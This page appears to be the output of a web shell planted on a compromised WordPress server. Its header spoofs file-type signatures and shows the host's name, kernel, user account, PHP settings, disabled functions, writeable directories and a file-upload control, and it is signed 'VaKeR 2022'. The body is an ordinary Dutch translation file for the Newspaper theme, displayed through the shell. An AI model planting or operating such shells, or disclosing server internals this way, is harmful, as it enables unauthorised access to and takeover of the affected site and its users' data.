%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/nl_NL.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: nl_NL\n"


msgid "View all results"
msgstr "Bekijk alle resultaten"


msgid "No results"
msgstr "Geen resultaten"


msgid "Home"
msgstr "Home"


msgid "CLOSE"
msgstr "SLUITEN"


msgid "Page"
msgstr "Pagina"


msgid "All"
msgstr "Alle"


msgid "By"
msgstr "Door"


msgid "Load more"
msgstr "Laad meer"


msgid "View all posts in"
msgstr "Bekijk alle posts in"


msgid "Tags"
msgstr "Tags"


msgid "Previous article"
msgstr "Vorig artikel"


msgid "Next article"
msgstr "Volgend artikel"


msgid "Authors"
msgstr "Auteurs"


msgid "Author"
msgstr "Auteur"


msgid "RELATED ARTICLES"
msgstr "GERELATEERDE ARTIKELEN"


msgid "MORE FROM AUTHOR"
msgstr "MEER VAN DEZE AUTEUR"


msgid "VIA"
msgstr "VIA"


msgid "SOURCE"
msgstr "BRON"


msgid "TAGS"
msgstr "TAGS"


msgid "SHARE"
msgstr "DELEN"


msgid "Continue"
msgstr "Verder"


msgid "Read more"
msgstr "Lees meer"


msgid "Name:"
msgstr "Naam:"


msgid "Email:"
msgstr "Email:"


msgid "Website:"
msgstr "Website:"


msgid "Comment:"
msgstr "Opmerking:"


msgid "LEAVE A REPLY"
msgstr "LAAT EEN REACTIE ACHTER"


msgid "Post Comment"
msgstr "Plaats Opmerking"


msgid "Cancel reply"
msgstr "Annuleer reactie"


msgid "Reply"
msgstr "Reageer"


msgid "Log in to leave a comment"
msgstr "Log in om een opmerking achter te laten"


msgid "NO COMMENTS"
msgstr "GEEN REACTIES"


msgid "1 COMMENT"
msgstr "1 REACTIE"


msgid "COMMENTS"
msgstr "REACTIES"


msgid "REVIEW OVERVIEW"
msgstr "RECENSIES OVERZICHT"


msgid "SUMMARY"
msgstr "SAMENVATTING"


msgid "OVERALL SCORE"
msgstr "TOTALE SCORE"


msgid "Ooops... Error 404"
msgstr "Oeps… Error 404"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Sorry, maar de pagina die je zoekt bestaat niet meer.."


msgid "You can go to the"
msgstr "Je kunt naar de (homepage) gaan"


msgid "HOMEPAGE"
msgstr "HOMEPAGE"


msgid "OUR LATEST POSTS"
msgstr "ONZE LAATSTE POSTS"


msgid "Posts by"
msgstr "Posts van"


msgid "POSTS"
msgstr "POSTS"


msgid "Posts tagged with"
msgstr "Posts getagd met"


msgid "Tag"
msgstr "Tag"


msgid "Daily Archives:"
msgstr "Dagelijkse Archieven:"


msgid "Monthly Archives:"
msgstr "Maandelijkse Archieven:"


msgid "Yearly Archives:"
msgstr "Jaarlijkse Archieven:"


msgid "Archives"
msgstr "Archieven"


msgid "LATEST ARTICLES"
msgstr "LAATSTE ARTIKELEN"


msgid "search results"
msgstr "zoekresultaten"


msgid "Search"
msgstr "Zoek"


msgid "If you're not happy with the results, please do another search"
msgstr "Wanneer u niet blij bent met de resultaten, kunt u een nieuwe zoekopdracht geven"


msgid "Contact us"
msgstr "Neem contact met ons op"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Pagina %CURRENT_PAGE% van %TOTAL_PAGES%"


msgid "Next"
msgstr "Volgende"


msgid "Prev"
msgstr "Vorige"


msgid "No results for your search"
msgstr "Geen resultaten voor uw zoekopdracht"


msgid "No posts to display"
msgstr "Geen posts om weer te geven"


msgid "LOG IN"
msgstr "LOG IN"


msgid "Sign in / Join"
msgstr "Aanmelden"


msgid "Log In"
msgstr "Log In"


msgid "REGISTER"
msgstr "REGISTREER"


msgid "Send My Pass"
msgstr "Stuur Mijn Pas"


msgid "Forgot your password?"
msgstr "Wachtwoord vergeten?"


msgid "Please wait..."
msgstr "Even geduld…"


msgid "User or password incorrect!"
msgstr "Gebruikersnaam of wachtwoord is incorrect!"


msgid "Email or username incorrect!"
msgstr "E-mail of gebruikersnaam is onjuist"


msgid "Email incorrect!"
msgstr "E-mail is onjuist"


msgid "User or email already exists!"
msgstr "Gebruikersnaam of email bestaat al!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "Check alsublieft uw mail (inbox of spam), het wachtwoord is daarheen gestuurd"


msgid "Email address not found!"
msgstr "Emailadres niet gevonden!"


msgid "Your password is reset, check your email."
msgstr "Wachtwoord is gereset, check email."


msgid "Welcome! Log into your account"
msgstr "Welkom! Log in op je account"


msgid "Register for an account"
msgstr "Registreer voor een account"


msgid "Recover your password"
msgstr "Vind je wachtwoord terug"


msgid "your username"
msgstr "jouw gebruikersnaam"


msgid "your password"
msgstr "jouw wachtwoord"


msgid "your email"
msgstr "jouw mailadres"


msgid "A password will be e-mailed to you."
msgstr "Er zal een wachtwoord naar je gemaild worden"


msgid "Logout"
msgstr "Log uit"


msgid "Like"
msgstr "Like"


msgid "Fans"
msgstr "Fans"


msgid "Follow"
msgstr "Volg"


msgid "Followers"
msgstr "Volgers"


msgid "Subscribe"
msgstr "Abonneer"


msgid "Subscribers"
msgstr "Abonnees"


msgid "MORE STORIES"
msgstr "MEER VERHALEN"


msgid "Latest"
msgstr "Laatste"


msgid "Featured posts"
msgstr "Aanbevolen posts"


msgid "Most popular"
msgstr "Meest populair"


msgid "7 days popular"
msgstr "7 dagen populair"


msgid "By review score"
msgstr "Op recensie scores"


msgid "Random"
msgstr "Willekeurig"


msgid "Trending Now"
msgstr "Nu Trending"


msgid "POPULAR CATEGORY"
msgstr "POPULAIRE CATEGORIE"


msgid "EVEN MORE NEWS"
msgstr "NOG MEER NIEUWS"


msgid "Previous (Left arrow key)"
msgstr "Vorige (Pijl naar links)"


msgid "Next (Right arrow key)"
msgstr "Volgende (Pijl naar rechts)"


msgid "%curr% of %total%"
msgstr "%curr% van %total%"


msgid "The content from %url% could not be loaded."
msgstr "De inhoud van %url% kan niet worden geladen."


msgid "The image #%curr% could not be loaded."
msgstr "De afbeelding #%curr% kan niet worden geladen."


msgid "Blog"
msgstr "Blog"


msgid "Share on Facebook"
msgstr "Deel op Facebook"


msgid "Tweet on Twitter"
msgstr "Tweet op Twitter"


msgid "EDITOR PICKS"
msgstr "SELECTIE VAN DE REDACTIE"


msgid "POPULAR POSTS"
msgstr "POPULAIRE BERICHTEN"


msgid "FOLLOW US"
msgstr "VOLG ONS"


msgid "ABOUT US"
msgstr "OVER ONS"


msgid "More"
msgstr "Meer"


msgid "Featured"
msgstr "Uitgelicht"


msgid "All time popular"
msgstr "Steeds Populair"


msgid "Likes"
msgstr "Likes"


msgid "Register"
msgstr "Registreren"


msgid "of"
msgstr "van"


msgid "Euro Member Countries"
msgstr "Euro-landen"


msgid "Your comment is awaiting moderation"
msgstr "Je opmerking moet nog beoordeeld worden"


msgid "Follow us on Instagram"
msgstr "Volg ons op Instagram"


msgid "Back"
msgstr "Terug"


msgid "Sign in"
msgstr "Aanmelden"


msgid "Sign up"
msgstr "Aanmelden"


msgid "Join"
msgstr "Toetreden"


msgid "Welcome!"
msgstr "Welkom!"


msgid "Log into your account"
msgstr "Log in op jouw account"


msgid "Password recovery"
msgstr "Wachtwoord herstel"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Controleer dan uw e-mail (index of spam map), werd het wachtwoord daar gestuurd."


msgid "Australian Dollar"
msgstr "Australische dollar"


msgid "Bulgarian Lev"
msgstr "Bulgaarse lev"


msgid "Brazilian Real"
msgstr "Braziliaanse real"


msgid "Canadian Dollar"
msgstr "Canadese dollar"


msgid "Swiss Franc"
msgstr "Zwitserse frank"


msgid "Chinese Yuan Renminbi"
msgstr "Chinese Yuan Renminbi"


msgid "Czech Republic Koruna"
msgstr "Tsjechië koruna"


msgid "Danish Krone"
msgstr "Deense kroon"


msgid "British Pound"
msgstr "Britse pond"


msgid "Hong Kong Dollar"
msgstr "Hong kong dollar"


msgid "Croatian Kuna"
msgstr "Kroatische kuna"


msgid "Hungarian Forint"
msgstr "Hongaarse forint"


msgid "Indonesian Rupiah"
msgstr "Indonesische roepia"


msgid "Israeli Shekel"
msgstr "Israëlische shekel"


msgid "Indian Rupee"
msgstr "Indiase rupee"


msgid "Japanese Yen"
msgstr "Japanse Yen"


msgid "Korean (South) Won"
msgstr "Koreaans (zuid) won"


msgid "Mexican Peso"
msgstr "Mexicaanse Peso"


msgid "Malaysian Ringgit"
msgstr "Maleisische ringgit"


msgid "Norwegian Krone"
msgstr "Noorse kroon"


msgid "New Zealand Dollar"
msgstr "Nieuw-Zeelandse Dollar"


msgid "Philippine Peso"
msgstr "Filippijnse peso"


msgid "Polish Zloty"
msgstr "Poolse zloty"


msgid "Romanian (New) Leu"
msgstr "Roemeens (nieuw) leu"


msgid "Russian Ruble"
msgstr "Russische roebel"


msgid "Swedish Krona"
msgstr "Zweedse kroon"


msgid "Singapore Dollar"
msgstr "Singapore dollar"


msgid "Thai Baht"
msgstr "Thaise baht"


msgid "Turkish Lira"
msgstr "Turkse lira"


msgid "United States Dollar"
msgstr "Verenigde Staten Dollar"


msgid "South African Rand"
msgstr "Zuid-Afrikaanse Rand"


msgid "Privacy Policy"
msgstr "Privacybeleid"


msgid "views"
msgstr "keer bekeken"


msgid "Modified date:"
msgstr "Aangepaste datum:"


msgid "Please enter your name here"
msgstr "Vul hier uw naam in"


msgid "Please enter your email address here"
msgstr "Vul hier uw e-mailadres in"


msgid "You have entered an incorrect email address!"
msgstr "Je hebt een verkeerd e-mailadres ingevoerd!"


msgid "Please enter your comment!"
msgstr "Vul alstublieft uw commentaar in!"


msgid "Logged in as"
msgstr "Ingelogd als"


msgid "Log out?"
msgstr "Uitloggen?"


msgid "Logged in as %s. Edit your profile."
msgstr "Ingelogd als% s. pas je profiel aan."


msgid "Edit"
msgstr "Bewerk"


msgid "Login"
msgstr "Log in"


msgid "Send My Password"
msgstr "Stuur mijn wachtwoord"


msgid "Create an account"
msgstr "Account aanmaken"


msgid "Welcome! Register for an account"
msgstr "Welkom! registreer voor een account"


msgid "About me"
msgstr "Over mij"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "Bewaar mijn naam, e-mailadres en website in deze browser voor de volgende keer dat ik een opmerking maak."


msgid "Orders"
msgstr "Bestellingen"


msgid "Addresses"
msgstr "Adressen"


msgid "Account settings"
msgstr "Account instellingen"


msgid "Hello"
msgstr "Hallo"


msgid "No products in the cart."
msgstr "Geen producten in de winkelwagen."


msgid "Product categories"
msgstr "Productcategorieën"


msgid "Product tags"
msgstr "Producttags"


msgid "Success"
msgstr "Succes"


msgid "Acknowledgment is required!"
msgstr "Bevestiging is vereist!"


msgid "Please fill in a valid email."
msgstr "Vul a.u.b. een geldig e-mailadres in."


msgid "Please fill in an email address."
msgstr "Vul dan een e-mailadres in."


msgid "Get into your account."
msgstr "In uw account komen."


msgid "My subscription account"
msgstr "Mijn abonnementsaccount"


msgid "Account details"
msgstr "Accountgegevens"


msgid "Subscriptions"
msgstr "Abonnementen"


msgid "My woo account"
msgstr "Mijn woo account"


msgid "Log out"
msgstr "Uitloggen"


msgid "Email address"
msgstr "E-mailadres"


msgid "Username"
msgstr "Gebruikersnaam"


msgid "Password"
msgstr "Wachtwoord"


msgid "must contain at least one lower case (a..z)"
msgstr "moet ten minste één kleine letter (a..z) bevatten"


msgid "must contain at least one upper case (A..Z)"
msgstr "moet minimaal één hoofdletter (a..z) bevatten"


msgid "must contain at least 6 characters in length"
msgstr "moet minimaal 6 tekens lang zijn"


msgid "Repeat password"
msgstr "Herhaal wachtwoord"


msgid "Already have an account?"
msgstr "Heb je al een account?"


msgid "Recover password"
msgstr "Wachtwoord herstellen"


msgid "Username or Email address"
msgstr "Gebruikersnaam of e-mailadres"


msgid "Forgot password?"
msgstr "Wachtwoord vergeten?"


msgid "Don't have an account?"
msgstr "Heb je geen account?"


msgid "Dashboard"
msgstr "Dashboard"


msgid "Welcome to your account!"
msgstr "Welkom op je account!"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "Hallo %1$s (niet %2$s? %3$s)! vanuit uw accountdashboard kunt u uw abonnementen bekijken en uw accountgegevens beheren."


msgid "Lost Password"
msgstr "Vergeten wachtwoord"


msgid "Manage your account details."
msgstr "Uw accountgegevens beheren."


msgid "First name"
msgstr "Voornaam"


msgid "Last name"
msgstr "Achternaam"


msgid "Display name"
msgstr "Weergavenaam"


msgid "Current password"
msgstr "Huidig wachtwoord"


msgid "(leave blank to leave unchanged)"
msgstr "(leeg laten om ongewijzigd te laten)"


msgid "New password"
msgstr "Nieuw paswoord"


msgid "Confirm new password"
msgstr "Bevestig nieuw wachtwoord"


msgid "Save changes"
msgstr "Wijzigingen opslaan"


msgid "All your subscriptions."
msgstr "Al uw abonnementen."


msgid "Plan"
msgstr "Plan"


msgid "Payment type"
msgstr "Betalingswijze"


msgid "Status"
msgstr "Toestand"


msgid "Months"
msgstr "Maanden"


msgid "Start date"
msgstr "Begin datum"


msgid "End date"
msgstr "Einddatum"


msgid "missing plan"
msgstr "ontbrekend plan"


msgid "Free"
msgstr "Vrij"


msgid "Active"
msgstr "Actief"


msgid "Trial"
msgstr "Proces"


msgid "Blocked"
msgstr "Geblokkeerd"


msgid "Closed"
msgstr "Gesloten"


msgid "Not paid"
msgstr "Niet betaald"


msgid "Awaiting payment"
msgstr "In afwachting van betaling"


msgid "Subscription info"
msgstr "Abonnement info"


msgid "ID"
msgstr "ID KAART"


msgid "Name"
msgstr "Naam"


msgid "Company name"
msgstr "Bedrijfsnaam"


msgid "VAT"
msgstr "VAT"


msgid "Address"
msgstr "Adres"


msgid "City"
msgstr "Stad"


msgid "Country/State"
msgstr "Land/staat"


msgid "Email"
msgstr "E-mail"


msgid "Postal code"
msgstr "Postcode"


msgid "Direct bank transfer details"
msgstr "Directe bankoverschrijvingsgegevens"


msgid "Account name"
msgstr "Gebruikersnaam"


msgid "Account number"
msgstr "Rekeningnummer"


msgid "Bank name"
msgstr "Banknaam"


msgid "Routing number"
msgstr "Routeringsnummer:"


msgid "IBAN"
msgstr "IBAN"


msgid "Bic/Swift"
msgstr "Bic/swift"


msgid "Instructions"
msgstr "Instructies"


msgid "No subscription created."
msgstr "Geen abonnement aangemaakt."


msgid "Choose plan"
msgstr "Kies plan"


msgid "Payment methods"
msgstr "Betaalmethoden"


msgid "Total"
msgstr "Totaal"


msgid "Period"
msgstr "Periode"


msgid "Subscription summary"
msgstr "Abonnement overzicht"


msgid "Phone"
msgstr "Telefoon"


msgid "Postcode"
msgstr "Postcode"


msgid "County"
msgstr "District"


msgid "Town/City"
msgstr "Stad/stad"


msgid "Street address"
msgstr "Adres"


msgid "Country/Region"
msgstr "Land/regio"


msgid "VAT Number"
msgstr "Btw-nummer"


msgid "(optional)"
msgstr "(optioneel)"


msgid "Billing details"
msgstr "Factuurgegevens"


msgid "User information"
msgstr "Gebruikers informatie"


msgid "It seems that no available payment methods have been configured."
msgstr "Het lijkt erop dat er geen beschikbare betaalmethoden zijn geconfigureerd."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "Bedankt! we zijn verheugd u hier te zien. je abonnement wordt binnenkort geactiveerd!"


msgid "Our bank details"
msgstr "Onze bankgegevens"


msgid "Your subscription details"
msgstr "Uw abonnementsgegevens"


msgid "View subscription"
msgstr "Bekijk abonnement"


msgid "You have not selected a valid subscription plan."
msgstr "Je hebt geen geldig abonnement gekozen."


msgid "Field empty"
msgstr "Veld leeg"


msgid "Empty first name"
msgstr "Lege voornaam"


msgid "Empty last name"
msgstr "Lege achternaam"


msgid "Empty country"
msgstr "Leeg land"


msgid "Empty address"
msgstr "Leeg adres"


msgid "Empty city"
msgstr "Lege stad"


msgid "Empty county"
msgstr "Lege provincie"


msgid "Empty postcode"
msgstr "Lege postcode"


msgid "Empty phone"
msgstr "Lege telefoon"


msgid "Empty email"
msgstr "Lege e-mail"


msgid "Email or username empty!"
msgstr "E-mail of gebruikersnaam leeg!"


msgid "Pass empty!"
msgstr "Ga leeg!"


msgid "Username incorrect!"
msgstr "Gebruikersnaam onjuist!"


msgid "Invalid Pass Pattern!"
msgstr "Ongeldig paspatroon!"


msgid "Please activate your account by following the link sent to your email address."
msgstr "Activeer uw account door de link te volgen die naar uw e-mailadres is verzonden."


msgid "Resend activation link"
msgstr "Activatielink opnieuw verzenden"


msgid "In order to have access to this section, you have to activate your account."
msgstr "Om toegang te krijgen tot deze sectie, moet u uw account activeren."


msgid "Email empty!"
msgstr "E-mail leeg!"


msgid "Username empty!"
msgstr "Gebruikersnaam leeg!"


msgid "Pass pattern incorrect!"
msgstr "Paspatroon onjuist!"


msgid "Retyped pass empty!"
msgstr "Overgetypte pas leeg!"


msgid "Retyped pass exactly!"
msgstr "Overgetypt pas precies!"


msgid "User already exists!"
msgstr "Gebruiker bestaat al!"


msgid "Email already exists!"
msgstr "E-mail bestaat al!"


msgid "Your account could not be created."
msgstr "Uw account kon niet worden aangemaakt."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "Controleer uw e-mail (inbox of spammap) om uw account te valideren."


msgid "User empty!"
msgstr "Gebruiker leeg!"


msgid "User does not exists!"
msgstr "Gebruiker bestaat niet!"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "Er is een nieuwe activeringslink gegenereerd. controleer uw e-mail (inbox of spammap) om uw account te valideren."


msgid "CAPTCHA verification failed!"
msgstr "Captcha-verificatie mislukt!"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "Captcha gebruikersscore mislukt. Gelieve ons te contacteren!"


msgid "Loading"
msgstr "Bezig met laden"


msgid "Here are the results for the search:"
msgstr "Hier zijn de resultaten voor de zoekopdracht:"


msgid "Price"
msgstr "Prijs"


msgid "EXCLUSIVE"
msgstr "EXCLUSIEF"


msgid "Tel:"
msgstr "Tel:"


msgid "Share"
msgstr "Deel"


msgid "Print"
msgstr "Afdrukken"


msgid "At"
msgstr "Bij"


msgid "Comments are closed."
msgstr "Reacties zijn gesloten."


msgid "My account"
msgstr "Mijn rekening"


msgid "Payment method"
msgstr "Betalingsmiddel"


VaKeR 2022